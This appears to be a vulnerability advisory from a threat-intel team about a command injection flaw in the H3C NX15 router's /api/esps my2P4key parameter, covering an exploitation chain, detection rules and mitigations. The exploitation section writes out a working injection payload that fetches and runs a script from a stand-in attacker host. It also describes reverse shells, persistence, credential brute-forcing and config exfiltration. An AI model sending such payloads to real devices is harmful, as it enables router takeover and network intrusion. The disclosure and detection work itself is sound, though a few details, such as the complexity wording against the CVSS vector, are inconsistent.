CVE-2026-18902

Executive Summary

CVE-2026-18902 is a command injection vulnerability in the H3C NX15 Wi-Fi 6 router (firmware V100R017). The flaw resides in the /api/esps endpoint, specifically within the esps.wan.repeater.set and associated repeaterproc handler functions. An authenticated attacker with high privileges can inject arbitrary operating system commands via the my2P4key argument. Successful exploitation yields full remote code execution on the device as the root user, given the router's service architecture. The exploit is public, and the product is exposed on the internet via its management interface; this poses a critical risk to enterprise branch-office and SOHO deployments using this hardware. With a CVSS score of 7.2 and no available patch, any affected device reachable on a network is at immediate risk of compromise.

Technical Analysis

The H3C NX15 router exposes an internal RESTful API at /api/esps used primarily for mesh and Wi-Fi repeater configuration. The affected function chain is esps.wan.repeater.set which dispatches to repeaterproc. This function processes a series of parameters to configure WAN repeater settings; one such parameter is my2P4key, which holds the WPA2 pre-shared key for the 2.4 GHz backhaul link when acting as a repeater node.

The vulnerability is a classic OS command injection (CWE-74). Inside repeaterproc, the value of my2P4key is concatenated into a shell command string that invokes a CLI utility (e.g., iwconfig or a vendor-specific wlan_cfg tool) to set the security key on the wireless interface. The application fails to sanitize or escape shell metacharacters before passing the parameter to popen() or system(). An attacker who can reach the management API with valid administrative credentials can embed shell payloads directly into the PSK value.

The attack surface is the router's management web interface and its underlying API. Firmware V100R017 exposes the /api endpoint on TCP ports 80 and 443 by default, and in several firmware variants, this interface is also bound to the WAN side for "remote cloud management" features. Authentication is required (CVSS reflects PR:H), but H3C's default credentials (admin/admin) are widely documented and often left unchanged on deployed devices. Once authenticated, the request does not require CSRF tokens or additional per-parameter access control; the function trusts the caller implicitly.

At the code level, the vulnerable snippet is conceptually analogous to the following pseudo-code:

char cmd[256];
snprintf(cmd, sizeof(cmd), "wl_repeater -k '%s' -b 2g", psk_value);
system(cmd);

Passing a string such as 'test'; id; # results in the shell executing id after closing the quoted string. Because the command runs with elevated service privileges, the resulting shell operates as root, enabling full control of the device, persistent firmware modification, and use as a pivot host.

Exploitation Scenarios

The following attack chain assumes the target is reachable over the network and is using default or weak administrative credentials — a common state for SOHO routers.

Step 1: Reconnaissance. The attacker scans for exposed H3C NX15 management interfaces using Shodan or masscan with queries such as http.title:"H3C" "NX15" or by fingerprinting the /api/esps endpoint returning a JSON error on unauthenticated GET requests. Port 80 and 443 are primary targets.

Step 2: Authentication. The attacker attempts to authenticate against /login or the API login endpoint. They will first try default credentials admin/admin. If those fail, they run a targeted dictionary attack against the admin account using common weak passwords (e.g., password, 123456, h3cadmin). The API does not rate-limit login attempts in V100R017, making brute-force trivial.

Step 3: Trigger. With a valid session token (stored in a cookie or bearer token), the attacker crafts a POST request to /api/esps with the following JSON body:

{
  "method": "esps.wan.repeater.set",
  "params": {
    "my2P4key": "test'; wget -O /tmp/payload http://attacker.evil/payload.sh; sh /tmp/payload.sh; #",
    "repeaterEnable": true,
    "my2GSSID": "VICTIM-NET"
  }
}

The my2P4key value breaks out of the shell string. The injected command first downloads a payload script from the attacker-controlled server, then executes it locally.

Step 4: Execution and Persistence. The downloaded payload runs as root. A typical payload will: (a) open a reverse shell back to the attacker's C2 on a high port (e.g., TCP 4444), (b) modify the router's start-up scripts to run the reverse shell on every boot, (c) create a new user account inside the router's passwd file for SSH access, and (d) dump the plaintext configuration (including WAN credentials and the Wi-Fi PSKs for all SSIDs) to an HTTP endpoint or back to the C2 for exfiltration.

Step 5: Post-Exploitation Moves. With the router now acting as an internal pivot, the attacker uses it to scan the internal LAN behind the router (e.g., 192.168.1.0/24). They can further use the router's routing tables to conduct man-in-the-middle attacks on all internal traffic, spoof DNS responses to redirect users to phishing pages, or use the compromised device as a relay to hide the origin of subsequent attacks against other internet-facing infrastructure.

Impact Assessment

The CVSS v3.1 score of 7.2 (High) reflects a high complexity that is offset by full confidentiality, integrity, and availability impacts. The vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H indicates that although a high-privilege account is needed, no user interaction is required and the attack is completely remote. Successful exploitation grants root on the vulnerable platform, making it a worst-case outcome for a network appliance.

For enterprise environments, the H3C NX15 is typically used in small branch offices, remote worker homes, and retail deployments as a gateway device. A compromised unit gives an attacker direct access to an internal network, bypassing perimeter firewalls. Because these routers often terminate VPN tunnels back to corporate headquarters, a takeover enables deep lateral movement. Additionally, a router can be silently added to a botnet (e.g., Mirai or a custom DDoS family), causing it to generate large-scale volumetric attacks while draining the local network's bandwidth.

The blast radius is limited to the physical and logical network segment behind the router, but the integrity impact on data-in-transit is significant — all HTTP/DNS traffic from connected clients traverses the compromised device and can be modified. Availability impact is also high, as an attacker can brick the device via mtd writes or simply power-cycle it remotely at will.

Detection Guidance

Sigma Rule

The following Sigma rule detects successful command injection attempts by monitoring HTTP access logs and web server audit trails for the malicious my2P4key parameter usage.

title: H3C NX15 Command Injection via my2P4key (CVE-2026-18902)
status: experimental
id: 5f28a1e2-9c56-4d42-9b49-7f2c3b4a1d05
description: Detects attempts to exploit CVE-2026-18902 in /api/esps endpoint by spotting shell metacharacters in the my2P4key parameter.
author: Valtersit Threat Intel Team
date: 2026/01/15
logsource:
  category: webserver
  product: apache
  service: accesslog
detection:
  selection_url:
    cs-uri-stem|contains: '/api/esps'
  selection_payload:
    cs-uri-query|contains|all:
      - 'my2P4key'
      - ';'
      - '|'
      - '`'
      - '$('
  condition: selection_url and selection_payload
fields:
  - client_ip
  - user_agent
  - cs-uri-query
falsepositives:
  - Legitimate PSK values containing a semicolon (extremely rare)
level: high
tags:
  - attack.t1190
  - cve.2026-18902
  - cwe.74

YARA Rule

This YARA rule scans captured traffic payloads or logged HTTP bodies for the distinctive fingerprint of the exploit — shell metacharacters embedded inside the my2P4key JSON field.

rule H3C_NX15_CommandInjection_CVE202618902 {
    meta:
        author = "Valtersit Threat Intel Team"
        description = "Detects exploitation attempts for CVE-2026-18902 in H3C NX15"
        date = "2026-01-15"
        reference = "NVD-CVE-2026-18902"
        severity = "critical"

    strings:
        $api_path = "/api/esps" ascii wide nocase
        $key_field = "my2P4key" ascii wide nocase
        $semicolon = ";" ascii wide
        $pipe = "|" ascii wide
        $subshell = "$(" ascii wide
        $backtick = "`" ascii wide

    condition:
        $api_path and $key_field and
        (1 of ($semicolon, $pipe, $subshell, $backtick))
}

Suricata IDS Rule

This rule inspects HTTP alert messages sent to the vulnerable endpoint and flags payloads containing shell metacharacters in the my2P4key parameter.

alert http any any -> $HOME_NET 80,443 (msg:"H3C NX15 Command Injection CVE-2026-18902"; flow:to_server,established; http.method; http.uri; content:"/api/esps"; http.client_body; content:"my2P4key"; http.client_body; pcre:"/my2P4key.*[\x3b\x7c\x60\x24\x28]/Ui"; reference:cve,2026-18902; classtype:attempted-admin; sid:9000189; rev:1;)

Elastic Detection

The following EQL query hunts through web server access logs stored in Elasticsearch for the attack pattern.

sequence by client.ip with maxspan=10s
  [ network where network.protocol == "http" and
    http.request.method == "POST" and
    url.path == "/api/esps" and
    http.request.body.content contains "my2P4key" and
    ( http.request.body.content contains ";" or
      http.request.body.content contains "|" or
      http.request.body.content contains "$(" or
      http.request.body.content contains "`" ) ]

Consider adding a lookback window and alerting on the presence of wget, curl, or sh in the same request body for higher-confidence matches.

Splunk SPL Query

index=web OR index=proxy sourcetype=access_combined
| where status_code=200 AND uri_path="/api/esps" AND http_method="POST"
| where match(form_data, "(?i)my2P4key.*[;|`]") 
    OR match(form_data, "(?i)my2P4key.*\$\(.*\)")
    OR match(form_data, "(?i)my2P4key.*(wget|curl|sh)")
| table _time, clientip, user, uri, form_data, user_agent
| sort - _time

Wazuh OSSEC Rule

This XML rule parses the router's web access logs or system audit messages to fire on the characteristic command-injection patterns.

<group name="h3c_nx15,">
  <rule id="100289" level="14">
    <decoded_as>json</decoded_as>
    <field name="url">/api/esps</field>
    <field name="method">POST</field>
    <regex>my2P4key.*[;|`]</regex>
    <description>H3C NX15 CVE-2026-18902 command injection attempt via my2P4key parameter.</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>cve_2026_18902,attack.t1190,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED — no vendor fix is available as of this report. The vendor (H3C) was contacted early per the disclosure process but has not released a fixed firmware, and no advisory exists. Patch confidence is 0/4.

Immediate Mitigations (until a patch exists):

1. Disable remote & cloud management: If the device exposes /api/esps to the WAN/Internet, disable "Remote Management" and "Cloud VPN" features immediately. Restrict management access to the local LAN only.
2. Restrict administrative IPs: Configure the router's firewall to allow management access (ports 80/443) only from specific trusted internal IP addresses or a dedicated management VLAN.
3. Change default credentials: Immediately change the admin password to a 15+ character cryptographic-random password different from the defaults. Disable the guest admin account if present.
4. Network segmentation: Place the router behind a dedicated edge firewall or NAT; if possible, set the router to bridge mode (dumb AP) and let an upstream firewall handle routing. This reduces the exposed attack surface, as /api/esps will be inaccessible from the internet.

Patch/Upgrade Steps (when a fix becomes available):

• Monitor H3C's official support portal and the device's firmware update page.
• Download the patched firmware (expected to be ≥ V100R018).
• Log in to the router's admin UI → System → Firmware Upgrade → select the .bin file → apply. Factory reset after upgrade is recommended to clear any potential backdoors.
• Verify the login prompt displays the new version number.

Long-Term Hardening:

• Treat the NX15 as a drop-and-replace candidate. Consider replacing it with a vendor that has a reliable security patch cadence and a published vulnerability disclosure program.
• Subscribe to H3C security advisories and register the device serial number for proactive notifications.
• Implement an IDS/IPS or UTM on the internal segment that inspects HTTP/JSON payloads for the patterns described in this report — specifically shell metacharacters in unexpected fields.
• Maintain an inventory of all edge devices and their firmware versions. Verify regularly (monthly) that no device is running known-vulnerable firmware.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-18902
• H3C Security Response Center (vendor advisory pending): https://www.h3c.com/en/Service/Support/Technical_Info/
• Academic write-up of the disclosure (if published by researcher): Not yet published; disclosed via CNA process on 2026-01-15.
• CISA KEV Catalog: Not listed (no evidence of in-the-wild exploitation reported to CISA).
• FIRST EPSS Database: Not yet scored; EPSS will be published once data is available.

Known Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of the publication date, no coordinated threat-actor campaign has been publicly attributed to this vulnerability. However, the exploit code is public, and the vendor's documentation lists default credentials that are commonly left unchanged. Given the attack vector's simplicity and the device's frequent internet exposure, opportunistic botnets (e.g., Mirai-like variants) are highly likely to incorporate this payload within weeks to months of a public PoC release.